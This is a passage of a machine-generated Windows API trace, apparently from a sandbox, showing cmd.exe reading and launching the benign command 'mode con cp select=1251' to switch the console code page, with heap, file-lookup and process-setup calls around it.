hFile=0xe8, lpBuffer=0x4a2fc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x25f748, lpOverlapped=0x0 | out: lpBuffer=0x4a2fc320*, lpNumberOfBytesRead=0x25f748*=0x1, lpOverlapped=0x0) returned 1 [0175.870] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a2fc320, cbMultiByte=1, lpWideCharStr=0x4a2fe32c, cchWideChar=1 | out: lpWideCharStr="o") returned 1 [0175.871] _get_osfhandle (_FileHandle=0) returned 0xe8 [0175.871] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0175.871] ReadFile (in: hFile=0xe8, lpBuffer=0x4a2fc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x25f748, lpOverlapped=0x0 | out: lpBuffer=0x4a2fc320*, lpNumberOfBytesRead=0x25f748*=0x1, lpOverlapped=0x0) returned 1 [0175.871] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a2fc320, cbMultiByte=1, lpWideCharStr=0x4a2fe32e, cchWideChar=1 | out: lpWideCharStr="n") returned 1 [0175.871] _get_osfhandle (_FileHandle=0) returned 0xe8 [0175.871] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0175.871] ReadFile (in: hFile=0xe8, lpBuffer=0x4a2fc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x25f748, lpOverlapped=0x0 | out: lpBuffer=0x4a2fc320*, lpNumberOfBytesRead=0x25f748*=0x1, lpOverlapped=0x0) returned 1 [0175.871] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a2fc320, cbMultiByte=1, lpWideCharStr=0x4a2fe330, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0175.871] _get_osfhandle (_FileHandle=0) returned 0xe8 [0175.871] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0175.871] ReadFile (in: hFile=0xe8, lpBuffer=0x4a2fc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x25f748, lpOverlapped=0x0 | out: lpBuffer=0x4a2fc320*, lpNumberOfBytesRead=0x25f748*=0x1, lpOverlapped=0x0) returned 1 [0175.871] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a2fc320, cbMultiByte=1, lpWideCharStr=0x4a2fe332, cchWideChar=1 | out: lpWideCharStr="c") returned 1 [0175.871] _get_osfhandle (_FileHandle=0) returned 0xe8 [0175.871] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0175.871] ReadFile (in: hFile=0xe8, lpBuffer=0x4a2fc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x25f748, lpOverlapped=0x0 | out: lpBuffer=0x4a2fc320*, lpNumberOfBytesRead=0x25f748*=0x1, lpOverlapped=0x0) returned 1 [0175.871] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a2fc320, cbMultiByte=1, lpWideCharStr=0x4a2fe334, cchWideChar=1 | out: lpWideCharStr="p") returned 1 [0175.871] _get_osfhandle (_FileHandle=0) returned 0xe8 [0175.871] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0175.871] ReadFile (in: hFile=0xe8, lpBuffer=0x4a2fc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x25f748, lpOverlapped=0x0 | out: lpBuffer=0x4a2fc320*, lpNumberOfBytesRead=0x25f748*=0x1, lpOverlapped=0x0) returned 1 [0175.871] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a2fc320, cbMultiByte=1, lpWideCharStr=0x4a2fe336, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0175.871] _get_osfhandle (_FileHandle=0) returned 0xe8 [0175.871] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0175.871] ReadFile (in: hFile=0xe8, lpBuffer=0x4a2fc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x25f748, lpOverlapped=0x0 | out: lpBuffer=0x4a2fc320*, lpNumberOfBytesRead=0x25f748*=0x1, lpOverlapped=0x0) returned 1 [0175.871] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a2fc320, cbMultiByte=1, lpWideCharStr=0x4a2fe338, cchWideChar=1 | out: lpWideCharStr="s") returned 1 [0175.871] _get_osfhandle (_FileHandle=0) returned 0xe8 [0175.871] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0175.872] ReadFile (in: hFile=0xe8, lpBuffer=0x4a2fc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x25f748, lpOverlapped=0x0 | out: lpBuffer=0x4a2fc320*, lpNumberOfBytesRead=0x25f748*=0x1, lpOverlapped=0x0) returned 1 [0175.872] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a2fc320, cbMultiByte=1, lpWideCharStr=0x4a2fe33a, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0175.872] _get_osfhandle (_FileHandle=0) returned 0xe8 [0175.872] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0175.872] ReadFile (in: hFile=0xe8, lpBuffer=0x4a2fc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x25f748, lpOverlapped=0x0 | out: lpBuffer=0x4a2fc320*, lpNumberOfBytesRead=0x25f748*=0x1, lpOverlapped=0x0) returned 1 [0175.872] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a2fc320, cbMultiByte=1, lpWideCharStr=0x4a2fe33c, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0175.872] _get_osfhandle (_FileHandle=0) returned 0xe8 [0175.872] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0175.872] ReadFile (in: hFile=0xe8, lpBuffer=0x4a2fc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x25f748, lpOverlapped=0x0 | out: lpBuffer=0x4a2fc320*, lpNumberOfBytesRead=0x25f748*=0x1, lpOverlapped=0x0) returned 1 [0175.872] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a2fc320, cbMultiByte=1, lpWideCharStr=0x4a2fe33e, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0175.872] _get_osfhandle (_FileHandle=0) returned 0xe8 [0175.872] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0175.872] ReadFile (in: hFile=0xe8, lpBuffer=0x4a2fc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x25f748, lpOverlapped=0x0 | out: lpBuffer=0x4a2fc320*, lpNumberOfBytesRead=0x25f748*=0x1, lpOverlapped=0x0) returned 1 [0175.872] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a2fc320, cbMultiByte=1, lpWideCharStr=0x4a2fe340, cchWideChar=1 | out: lpWideCharStr="c") returned 1 [0175.872] _get_osfhandle (_FileHandle=0) returned 0xe8 [0175.872] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0175.872] ReadFile (in: hFile=0xe8, lpBuffer=0x4a2fc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x25f748, lpOverlapped=0x0 | out: lpBuffer=0x4a2fc320*, lpNumberOfBytesRead=0x25f748*=0x1, lpOverlapped=0x0) returned 1 [0175.872] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a2fc320, cbMultiByte=1, lpWideCharStr=0x4a2fe342, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0175.872] _get_osfhandle (_FileHandle=0) returned 0xe8 [0175.872] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0175.872] ReadFile (in: hFile=0xe8, lpBuffer=0x4a2fc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x25f748, lpOverlapped=0x0 | out: lpBuffer=0x4a2fc320*, lpNumberOfBytesRead=0x25f748*=0x1, lpOverlapped=0x0) returned 1 [0175.872] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a2fc320, cbMultiByte=1, lpWideCharStr=0x4a2fe344, cchWideChar=1 | out: lpWideCharStr="=") returned 1 [0175.872] _get_osfhandle (_FileHandle=0) returned 0xe8 [0175.872] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0175.872] ReadFile (in: hFile=0xe8, lpBuffer=0x4a2fc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x25f748, lpOverlapped=0x0 | out: lpBuffer=0x4a2fc320*, lpNumberOfBytesRead=0x25f748*=0x1, lpOverlapped=0x0) returned 1 [0175.872] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a2fc320, cbMultiByte=1, lpWideCharStr=0x4a2fe346, cchWideChar=1 | out: lpWideCharStr="1") returned 1 [0175.872] _get_osfhandle (_FileHandle=0) returned 0xe8 [0175.873] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0175.873] ReadFile (in: hFile=0xe8, lpBuffer=0x4a2fc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x25f748, lpOverlapped=0x0 | out: lpBuffer=0x4a2fc320*, lpNumberOfBytesRead=0x25f748*=0x1, lpOverlapped=0x0) returned 1 [0175.873] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a2fc320, cbMultiByte=1, lpWideCharStr=0x4a2fe348, cchWideChar=1 | out: lpWideCharStr="2") returned 1 [0175.873] _get_osfhandle (_FileHandle=0) returned 0xe8 [0175.873] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0175.873] ReadFile (in: hFile=0xe8, lpBuffer=0x4a2fc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x25f748, lpOverlapped=0x0 | out: lpBuffer=0x4a2fc320*, lpNumberOfBytesRead=0x25f748*=0x1, lpOverlapped=0x0) returned 1 [0175.873] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a2fc320, cbMultiByte=1, lpWideCharStr=0x4a2fe34a, cchWideChar=1 | out: lpWideCharStr="5") returned 1 [0175.873] _get_osfhandle (_FileHandle=0) returned 0xe8 [0175.873] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0175.873] ReadFile (in: hFile=0xe8, lpBuffer=0x4a2fc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x25f748, lpOverlapped=0x0 | out: lpBuffer=0x4a2fc320*, lpNumberOfBytesRead=0x25f748*=0x1, lpOverlapped=0x0) returned 1 [0175.873] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a2fc320, cbMultiByte=1, lpWideCharStr=0x4a2fe34c, cchWideChar=1 | out: lpWideCharStr="1") returned 1 [0175.873] _get_osfhandle (_FileHandle=0) returned 0xe8 [0175.873] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0175.873] ReadFile (in: hFile=0xe8, lpBuffer=0x4a2fc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x25f748, lpOverlapped=0x0 | out: lpBuffer=0x4a2fc320*, lpNumberOfBytesRead=0x25f748*=0x1, lpOverlapped=0x0) returned 1 [0175.873] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a2fc320, cbMultiByte=1, lpWideCharStr=0x4a2fe34e, cchWideChar=1 | out: lpWideCharStr="\n") returned 1 [0175.874] _get_osfhandle (_FileHandle=0) returned 0xe8 [0175.874] GetFileType (hFile=0xe8) returned 0x3 [0175.874] _get_osfhandle (_FileHandle=0) returned 0xe8 [0175.874] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0175.874] _get_osfhandle (_FileHandle=1) returned 0xf4 [0175.874] GetFileType (hFile=0xf4) returned 0x3 [0175.874] _get_osfhandle (_FileHandle=1) returned 0xf4 [0175.874] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="mode con cp select=1251\n", cchWideChar=-1, lpMultiByteStr=0x4a2fc320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mode con cp select=1251\n", lpUsedDefaultChar=0x0) returned 25 [0175.874] WriteFile (in: hFile=0xf4, lpBuffer=0x4a2fc320*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x25f728, lpOverlapped=0x0 | out: lpBuffer=0x4a2fc320*, lpNumberOfBytesWritten=0x25f728*=0x18, lpOverlapped=0x0) returned 1 [0175.874] GetProcessHeap () returned 0x350000 [0175.874] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x4012) returned 0x36b240 [0175.874] GetProcessHeap () returned 0x350000 [0175.874] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x36b240 | out: hHeap=0x350000) returned 1 [0175.875] _wcsicmp (_String1="mode", _String2=")") returned 68 [0175.875] _wcsicmp (_String1="FOR", _String2="mode") returned -7 [0175.875] _wcsicmp (_String1="FOR/?", _String2="mode") returned -7 [0175.875] _wcsicmp (_String1="IF", _String2="mode") returned -4 [0175.875] _wcsicmp (_String1="IF/?", _String2="mode") returned -4 [0175.875] _wcsicmp (_String1="REM", _String2="mode") returned 5 [0175.875] _wcsicmp (_String1="REM/?", _String2="mode") returned 5 [0175.875] GetProcessHeap () returned 0x350000 [0175.875] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0xb0) returned 0x3697c0 [0175.875] GetProcessHeap () returned 0x350000 [0175.875] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x1a) returned 0x364610 [0175.875] GetProcessHeap () returned 0x350000 [0175.875] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x38) returned 0x366510 [0175.876] GetConsoleOutputCP () returned 0x1b5 [0175.876] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a2fbfe0 | out: lpCPInfo=0x4a2fbfe0) returned 1 [0175.877] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0175.877] GetConsoleTitleW (in: lpConsoleTitle=0x25f6e0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0175.877] _wcsicmp (_String1="mode", _String2="DIR") returned 9 [0175.877] _wcsicmp (_String1="mode", _String2="ERASE") returned 8 [0175.877] _wcsicmp (_String1="mode", _String2="DEL") returned 9 [0175.878] _wcsicmp (_String1="mode", _String2="TYPE") returned -7 [0175.878] _wcsicmp (_String1="mode", _String2="COPY") returned 10 [0175.878] _wcsicmp (_String1="mode", _String2="CD") returned 10 [0175.878] _wcsicmp (_String1="mode", _String2="CHDIR") returned 10 [0175.878] _wcsicmp (_String1="mode", _String2="RENAME") returned -5 [0175.878] _wcsicmp (_String1="mode", _String2="REN") returned -5 [0175.878] _wcsicmp (_String1="mode", _String2="ECHO") returned 8 [0175.878] _wcsicmp (_String1="mode", _String2="SET") returned -6 [0175.878] _wcsicmp (_String1="mode", _String2="PAUSE") returned -3 [0175.878] _wcsicmp (_String1="mode", _String2="DATE") returned 9 [0175.878] _wcsicmp (_String1="mode", _String2="TIME") returned -7 [0175.878] _wcsicmp (_String1="mode", _String2="PROMPT") returned -3 [0175.878] _wcsicmp (_String1="mode", _String2="MD") returned 11 [0175.878] _wcsicmp (_String1="mode", _String2="MKDIR") returned 4 [0175.878] _wcsicmp (_String1="mode", _String2="RD") returned -5 [0175.878] _wcsicmp (_String1="mode", _String2="RMDIR") returned -5 [0175.878] _wcsicmp (_String1="mode", _String2="PATH") returned -3 [0175.878] _wcsicmp (_String1="mode", _String2="GOTO") returned 6 [0175.878] _wcsicmp (_String1="mode", _String2="SHIFT") returned -6 [0175.878] _wcsicmp (_String1="mode", _String2="CLS") returned 10 [0175.878] _wcsicmp (_String1="mode", _String2="CALL") returned 10 [0175.878] _wcsicmp (_String1="mode", _String2="VERIFY") returned -9 [0175.878] _wcsicmp (_String1="mode", _String2="VER") returned -9 [0175.879] _wcsicmp (_String1="mode", _String2="VOL") returned -9 [0175.879] _wcsicmp (_String1="mode", _String2="EXIT") returned 8 [0175.879] _wcsicmp (_String1="mode", _String2="SETLOCAL") returned -6 [0175.879] _wcsicmp (_String1="mode", _String2="ENDLOCAL") returned 8 [0175.879] _wcsicmp (_String1="mode", _String2="TITLE") returned -7 [0175.879] _wcsicmp (_String1="mode", _String2="START") returned -6 [0175.879] _wcsicmp (_String1="mode", _String2="DPATH") returned 9 [0175.879] _wcsicmp (_String1="mode", _String2="KEYS") returned 2 [0175.879] _wcsicmp (_String1="mode", _String2="MOVE") returned -18 [0175.879] _wcsicmp (_String1="mode", _String2="PUSHD") returned -3 [0175.879] _wcsicmp (_String1="mode", _String2="POPD") returned -3 [0175.879] _wcsicmp (_String1="mode", _String2="ASSOC") returned 12 [0175.879] _wcsicmp (_String1="mode", _String2="FTYPE") returned 7 [0175.879] _wcsicmp (_String1="mode", _String2="BREAK") returned 11 [0175.879] _wcsicmp (_String1="mode", _String2="COLOR") returned 10 [0175.879] _wcsicmp (_String1="mode", _String2="MKLINK") returned 4 [0175.879] _wcsicmp (_String1="mode", _String2="DIR") returned 9 [0175.879] _wcsicmp (_String1="mode", _String2="ERASE") returned 8 [0175.879] _wcsicmp (_String1="mode", _String2="DEL") returned 9 [0175.879] _wcsicmp (_String1="mode", _String2="TYPE") returned -7 [0175.879] _wcsicmp (_String1="mode", _String2="COPY") returned 10 [0175.879] _wcsicmp (_String1="mode", _String2="CD") returned 10 [0175.879] _wcsicmp (_String1="mode", _String2="CHDIR") returned 10 [0175.879] _wcsicmp (_String1="mode", _String2="RENAME") returned -5 [0175.879] _wcsicmp (_String1="mode", _String2="REN") returned -5 [0175.879] _wcsicmp (_String1="mode", _String2="ECHO") returned 8 [0175.879] _wcsicmp (_String1="mode", _String2="SET") returned -6 [0175.879] _wcsicmp (_String1="mode", _String2="PAUSE") returned -3 [0175.879] _wcsicmp (_String1="mode", _String2="DATE") returned 9 [0175.879] _wcsicmp (_String1="mode", _String2="TIME") returned -7 [0175.879] _wcsicmp (_String1="mode", _String2="PROMPT") returned -3 [0175.879] _wcsicmp (_String1="mode", _String2="MD") returned 11 [0175.879] _wcsicmp (_String1="mode", _String2="MKDIR") returned 4 [0175.879] _wcsicmp (_String1="mode", _String2="RD") returned -5 [0175.879] _wcsicmp (_String1="mode", _String2="RMDIR") returned -5 [0175.879] _wcsicmp (_String1="mode", _String2="PATH") returned -3 [0175.880] _wcsicmp (_String1="mode", _String2="GOTO") returned 6 [0175.880] _wcsicmp (_String1="mode", _String2="SHIFT") returned -6 [0175.880] _wcsicmp (_String1="mode", _String2="CLS") returned 10 [0175.880] _wcsicmp (_String1="mode", _String2="CALL") returned 10 [0175.880] _wcsicmp (_String1="mode", _String2="VERIFY") returned -9 [0175.880] _wcsicmp (_String1="mode", _String2="VER") returned -9 [0175.880] _wcsicmp (_String1="mode", _String2="VOL") returned -9 [0175.880] _wcsicmp (_String1="mode", _String2="EXIT") returned 8 [0175.880] _wcsicmp (_String1="mode", _String2="SETLOCAL") returned -6 [0175.880] _wcsicmp (_String1="mode", _String2="ENDLOCAL") returned 8 [0175.880] _wcsicmp (_String1="mode", _String2="TITLE") returned -7 [0175.880] _wcsicmp (_String1="mode", _String2="START") returned -6 [0175.880] _wcsicmp (_String1="mode", _String2="DPATH") returned 9 [0175.880] _wcsicmp (_String1="mode", _String2="KEYS") returned 2 [0175.880] _wcsicmp (_String1="mode", _String2="MOVE") returned -18 [0175.880] _wcsicmp (_String1="mode", _String2="PUSHD") returned -3 [0175.880] _wcsicmp (_String1="mode", _String2="POPD") returned -3 [0175.880] _wcsicmp (_String1="mode", _String2="ASSOC") returned 12 [0175.880] _wcsicmp (_String1="mode", _String2="FTYPE") returned 7 [0175.880] _wcsicmp (_String1="mode", _String2="BREAK") returned 11 [0175.880] _wcsicmp (_String1="mode", _String2="COLOR") returned 10 [0175.880] _wcsicmp (_String1="mode", _String2="MKLINK") returned 4 [0175.880] _wcsicmp (_String1="mode", _String2="FOR") returned 7 [0175.880] _wcsicmp (_String1="mode", _String2="IF") returned 4 [0175.880] _wcsicmp (_String1="mode", _String2="REM") returned -5 [0175.880] GetProcessHeap () returned 0x350000 [0175.880] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x218) returned 0x36aa10 [0175.880] GetProcessHeap () returned 0x350000 [0175.880] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x42) returned 0x369880 [0175.881] _wcsnicmp (_String1="mode", _String2="cmd ", _MaxCount=0x4) returned 10 [0175.881] GetProcessHeap () returned 0x350000 [0175.881] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x420) returned 0x36b240 [0175.881] SetErrorMode (uMode=0x0) returned 0x0 [0175.881] SetErrorMode (uMode=0x1) returned 0x0 [0175.881] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x36b250, lpFilePart=0x25ef70 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x25ef70*="system32") returned 0x13 [0175.881] SetErrorMode (uMode=0x0) returned 0x1 [0175.881] GetProcessHeap () returned 0x350000 [0175.881] RtlReAllocateHeap (Heap=0x350000, Flags=0x0, Ptr=0x36b240, Size=0x42) returned 0x36b240 [0175.881] GetProcessHeap () returned 0x350000 [0175.881] RtlSizeHeap (HeapHandle=0x350000, Flags=0x0, MemoryPointer=0x36b240) returned 0x42 [0175.881] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a2ef360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0175.881] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0175.881] GetProcessHeap () returned 0x350000 [0175.881] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x104) returned 0x365b70 [0175.882] GetProcessHeap () returned 0x350000 [0175.882] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x1f8) returned 0x369be0 [0175.888] GetProcessHeap () returned 0x350000 [0175.888] RtlReAllocateHeap (Heap=0x350000, Flags=0x0, Ptr=0x369be0, Size=0x106) returned 0x369be0 [0175.888] GetProcessHeap () returned 0x350000 [0175.888] RtlSizeHeap (HeapHandle=0x350000, Flags=0x0, MemoryPointer=0x369be0) returned 0x106 [0175.888] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a2ef360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0175.888] GetProcessHeap () returned 0x350000 [0175.888] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0xe8) returned 0x369d00 [0175.888] GetProcessHeap () returned 0x350000 [0175.888] RtlReAllocateHeap (Heap=0x350000, Flags=0x0, Ptr=0x369d00, Size=0x7e) returned 0x369d00 [0175.888] GetProcessHeap () returned 0x350000 [0175.888] RtlSizeHeap (HeapHandle=0x350000, Flags=0x0, MemoryPointer=0x369d00) returned 0x7e [0175.889] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0175.889] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\mode.*", fInfoLevelId=0x1, lpFindFileData=0x25ece0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x25ece0) returned 0x365c80 [0175.889] GetProcessHeap () returned 0x350000 [0175.889] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x0, Size=0x28) returned 0x364640 [0175.889] FindClose (in: hFindFile=0x365c80 | out: hFindFile=0x365c80) returned 1 [0175.889] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\mode.COM", fInfoLevelId=0x1, lpFindFileData=0x25ece0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x25ece0) returned 0x365c80 [0175.889] GetProcessHeap () returned 0x350000 [0175.890] RtlReAllocateHeap (Heap=0x350000, Flags=0x0, Ptr=0x364640, Size=0x8) returned 0x3698d0 [0175.890] FindClose (in: hFindFile=0x365c80 | out: hFindFile=0x365c80) returned 1 [0175.890] _wcsicmp (_String1=".COM", _String2=".BAT") returned 1 [0175.890] _wcsicmp (_String1=".COM", _String2=".CMD") returned 2 [0175.890] GetConsoleTitleW (in: lpConsoleTitle=0x25f230, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0175.890] GetProcessHeap () returned 0x350000 [0175.890] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x21c) returned 0x36b2a0 [0175.890] GetConsoleTitleW (in: lpConsoleTitle=0x36b2b0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0175.890] GetProcessHeap () returned 0x350000 [0175.890] RtlReAllocateHeap (Heap=0x350000, Flags=0x0, Ptr=0x36b2a0, Size=0xa8) returned 0x36b2a0 [0175.890] GetProcessHeap () returned 0x350000 [0175.890] RtlSizeHeap (HeapHandle=0x350000, Flags=0x0, MemoryPointer=0x36b2a0) returned 0xa8 [0175.890] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - mode con cp select=1251") returned 1 [0175.891] GetProcessHeap () returned 0x350000 [0175.891] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x36b2a0 | out: hHeap=0x350000) returned 1 [0175.891] InitializeProcThreadAttributeList (in: lpAttributeList=0x25efe8, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x25efa8 | out: lpAttributeList=0x25efe8, lpSize=0x25efa8) returned 1 [0175.891] UpdateProcThreadAttribute (in: lpAttributeList=0x25efe8, dwFlags=0x0, Attribute=0x60001, lpValue=0x25ef98, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x25efe8, lpPreviousValue=0x0) returned 1 [0175.891] GetStartupInfoW (in: lpStartupInfo=0x25f100 | out: lpStartupInfo=0x25f100*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xe8, hStdOutput=0xf4, hStdError=0xf4)) [0175.891] GetProcessHeap () returned 0x350000 [0175.891] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x20) returned 0x364640 [0175.891] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0175.891] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0175.891] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0175.891] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0175.891] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0175.891] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 